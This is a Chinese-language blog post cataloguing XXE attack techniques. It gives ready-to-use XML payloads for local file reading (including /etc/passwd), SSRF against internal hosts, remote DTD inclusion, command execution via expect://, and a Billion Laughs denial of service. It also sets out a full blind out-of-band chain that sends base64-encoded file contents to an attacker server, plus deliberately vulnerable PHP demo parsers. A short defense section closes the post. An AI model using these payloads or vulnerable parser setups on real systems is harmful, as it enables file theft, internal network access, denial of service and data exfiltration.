XXE漏洞常见利用点总结

news2024/12/23 15:57:53

目录

知识点小结

常用payload

本地文件读取

SSRF

引入外部实体 dtd

信息探测

XXE漏洞攻击

案例演示

案例一(有回显)

案例二(无回显读取本地敏感文件(Blind OOB XXE))

XXE 防御

使用语言中推荐的禁用外部实体的方法


知识点小结

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

常见的协议支持如下

img

img 

其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
libxml 是 PHP 的 xml 支持

 

常用payload

本地文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE  ANY[
<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>
<name>&xxe;</name>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&admin;</name><password>admin</password></root>

SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "url/example.txt">]>
<foo>&xxe;</foo>

引入外部实体 dtd

直接通过DTD外部实体声明

通过DTD外部实体声明引入外部实体声明

通过DTD文档引入外部DTD文档,再引入外部实体声明 

?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

以下利用主要基于libxml2版本,其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。

文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini" >]>
<name>&xxe;</name>

SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>

用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  <!ELEMENT data (#PCDATA)>  ]>
<data>4</data>

如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

RCE

在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]>
<root><name>&xxe;</name></root>

Billion Laughs 攻击

一个经典的Dos攻击payload:

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

信息探测

检测XML是否会被成功解析

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]>
<root>&words;</root>

是否支持DTD引用外部实体(可结合dnslog)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://n3posw.dnslog.cn">
%remote;]>
<root/>

 

XXE漏洞攻击

XXE 攻击类型描述
利用 XXE 检索文件定义包含文件内容的外部实体,并在应用程序的响应中返回。
利用 XXE 执行 SSRF 攻击外部实体基于 URL 到后端系统的定义。
利用盲XXE外泄数据带外将敏感数据从应用程序服务器传输到攻击者控制的系统。
利用盲 XXE 通过错误消息检索数据攻击者可以触发包含敏感数据的解析错误消息的位置。

案例演示

案例一(有回显)

xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload1:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

payload2:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

案例二(无回显读取本地敏感文件(Blind OOB XXE)

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload: 

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有%, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

XXE 防御

使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/193665.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

08-linux网络管理-iftop命令详解

文章目录1. 安装2. 基本使用2.1 命令2.2 输出2.3 说明3. 选项3.1 选项说明3.2 几个示例-n&#xff08;不查找主机名&#xff09;-i &#xff08;查看指定网卡流量&#xff09;-P&#xff08;显示主机端口&#xff09;-t&#xff08;不使用ncurses 界面&#xff09;4. ncurses界…

IDEA集成Docker插件实现一键自动打包部署

一. 概述 大家部署项目的时候&#xff0c;动辄十几个服务&#xff0c;每次修改逐一部署繁琐不说也会浪费越来越多时间&#xff0c;所以本篇整理通过一次性配置实现一键部署微服务&#xff0c;直接上教程。 二. 配置服务器 1、Docker安装 服务器需要安装Docker&#xff0c;如…

iOS单元测试怎么写 ?

iOS单元测试怎么写 ? 什么是单元测试 ? 针对程序模块(软件设计的最小单位)来进行正确性检验的测试工作。程序单元是应用的最小可测试部件。对于面向对象编程&#xff0c;最小单元就是方法 iOS 集成了自己的测试框架 OCUnit 和 UITests 为什么单元测试 ? 执行单元测试&#x…

网络基础2-3 ---传输层的UDP协议:DP的特点,UDP的协议格式,UDP的应用

目录 一、tcpdump命令 二、UDP协议 前言 2.1、UDP协议的特点&#xff1a; 2.2、UDP的协议格式 16位的UDP长度&#xff1a; 结合抓包工具&#xff1a;分析一下UDP协议&#xff0c;就利用我们之前写的udp_socket编程 16位的校验和&#xff1a; 2.3、UDP的应用&#xff1…

Python的序列结构及常用操作方法,学完这一篇你就彻底懂了

上一篇&#xff1a;Python流程控制语句之跳转语句 文章目录前言一、索引二、切片三、序列相加四、乘法五、检查某个元素是否是序列的成员六、计算序列的长度、最大值和最小值总结前言 序列是一块用于存放多个值的连续内存空间&#xff0c;并且按一定顺序排列&#xff0c;每个值…

【论文阅读】Cleanits: A Data Cleaning System for Industrial Time Series

论文来源 标题: Cleanits (Xiaoou Ding,2019) 作者: Xiaoou Ding, Hongzhi Wang, Jiaxuan Su, Zijue Li, Jianzhong Li, Hong Gao 期刊: Proceedings of the VLDB Endowment 研究问题 工业时间序列数据清洗系统 1&#xff09;缺失值插补&#xff0c;2&#xff09;匹配不一致…

Maven可选依赖与排除依赖

可选依赖——指的是对外隐藏当前所依赖的资源&#xff08;不透明&#xff09; 可选依赖的作用&#xff1a;是隐藏所使用的依赖&#xff0c;用于控制当前依赖资源能否被别人发现 可选依赖的含义&#xff1a;当前工程所依赖的资源&#xff0c;不被其他项目所调用此依赖 pom文件…

DolphinScheduler 3.1.0 海豚集群运维使用问题记录

文章目录海豚常见问题1. 认证问题2. 时区问题3. jdk问题导致的认证问题4. 海豚调度sqoop任务问题(1. 海豚不允许脚本有空行出现(2. 脚本调脚本:权限不足(3. 直接执行某个表的sqoop同步任务:(4. sudo权限不足5. 海豚配置hive/impala数据源问题(1.海豚连接hive数据源配置(2. 配置…

[架构之路-97]:《软件架构设计:程序员向架构师转型必备》-7-需求分析与业务需求领域建模

前言&#xff1a;需求分析工程师工作中业务领域&#xff0c;而业务领域有很多业务领域专有的概念&#xff1b;程序员主要工作在计算机领域&#xff0c;他们没有足够的业务领域的知识识别业务领域的过于专业化的业务需求。为了确保业务需求能够被软件工程师正确无误地实现&#…

《MFC编程》:第一个MFC程序

《MFC编程》&#xff1a;第一个MFC程序《MFC编程》&#xff1a;第一个MFC程序设置开发环境如何把一个win32程序改成MFC程序&#xff1f;代码书写《MFC编程》&#xff1a;第一个MFC程序 设置开发环境 头文件为<afxwin.h>&#xff1b;在设置中勾选“使用MFC库”。 注&…

53.Isaac教程--ZED相机

ZED相机 ISAAC教程合集地址文章目录ZED相机Codelets支持的固件下载出厂校准文件通过本地校准提高相机精度为相机校准文件指定自定义位置Isaac SDK 支持 StereoLabs ZED 和 ZED Mini (ZED-M) 以及 ZED2 立体相机。 使用本节中的程序下载出厂校准文件或在相机上执行本地校准。 …

看涨期权与看跌期权

目录 1. 看涨期权多头 2. 看涨期权空头 3. 看跌期权多头 4. 看跌期权空头 买进期货合约者称为多头&#xff0c;卖出股指期货合约者称为空头。 1. 看涨期权多头 买入沪深 300 指数的看涨期权&#xff0c;行权价 2000 点&#xff0c;期限 1 个月期权费 100 点1 点 100 元初…

PMP和ACP哪个更有用?

PMP证书和ACP证书都是项目管理类的证书&#xff0c;但是方向不一样&#xff0c;ACP特别验证了从业者在项目工作中理解及实施敏捷管理原则与实践的能力&#xff0c;PMP则认证了从业者所表现出的领导和引导项目团队的能力。 PMP是传统的项目管理模式&#xff0c;适合各行各业&am…

日常小工具之:不花一分钱,不限制视频大小,用 python 和 ffmpeg 批量视频转格式,并保存到 iphone / ipad

应用背景 2008 年左右买的一个系列视频&#xff0c;全都是 .rmvb 的格式&#xff0c;想移到 iphone 里面&#xff0c;但是显示解码格式不支持上 知乎 看格式转换的工具发现这些工具需要把视频上传上去处理&#xff0c;而且很慢&#xff0c;而且有些还限制视频大小 我觉得有必要…

规则引擎-drools-3.4-drl文件构成-rule部分-结果部分Action

文章目录drl文件构成-rule部分结果部分 RHSsetinsert && insertLogicalmodify && updatedeletedrl文件构成-rule部分 drl文件构成&#xff0c;位于官网的第5章位置&#xff0c;也是drools作为规则引擎应用的最核心部分。 其中rule模块&#xff0c;包括属性&am…

Linux命令使用错误记录

问题描述 今天在使用jenkins自动部署的时候&#xff0c;查看日志也是打印成功的&#xff0c;如下图&#xff1a; 自以为是成功&#xff0c;没有看项目启动日志。当访问接口的时候&#xff0c;返回的还是原有数据&#xff0c;没有更新数据接口。 解决思路 首先&#xff0c;打…

春晚背后的“新技术”,腾讯技术助力央视频春晚“新看法”

伴随着《难忘今宵》音乐的响起&#xff0c;兔年春晚圆满落幕。今年&#xff0c;我们和中央广播电视总台一起打造了“竖屏春晚HDR及菁彩声”技术方案&#xff0c;并在“央视频”客户端上线。让你“听”得更沉浸&#xff0c;“看”得更清晰。三维菁彩声&#xff0c;观看春晚“如临…

【Flume】Flume原理简述及示例实践

文章目录1. Flume是什么2. Flume三大组件3. Flume高级应用场景3.1 多路复用3.2 整合4. 示例实践4.1 配置4.2 运行4.2.1 运行结果输出4.2.2 设置后台运行1. Flume是什么 Flume是一个高可用&#xff0c;高可靠&#xff0c;分布式的海量日志采集、聚合和传输的系统&#xff0c;能够…

低代码:让企业“活”起来,赋能企业数字转型

低代码作为一种无需或只需少量代码即可快速生成应用程序的开发方式&#xff0c;广义的低代码可以分为低代码和无代码两种&#xff0c;两者面向的群体和场景不同&#xff0c;分别定位于服务IT人员和业务人员。两者都可以降低开发成本和门槛&#xff0c;有助于业务人员和开发人员…

自动驾驶感知——红外传感器

文章目录1. 红外线基本概念1.1 红外线探测的优缺点1.2 红外线相关基础知识1.3 红外辐射的基本知识1.4 黑体、白体和透明体1.5 相关物理定律1.5.1 基尔霍夫定律1.5.2 斯特藩-玻耳兹曼定律1.5.3 维恩位移定律2. 红外线传感器分类2.1 主动式与被动式2.2 光子式红外传感器2.3 热释电…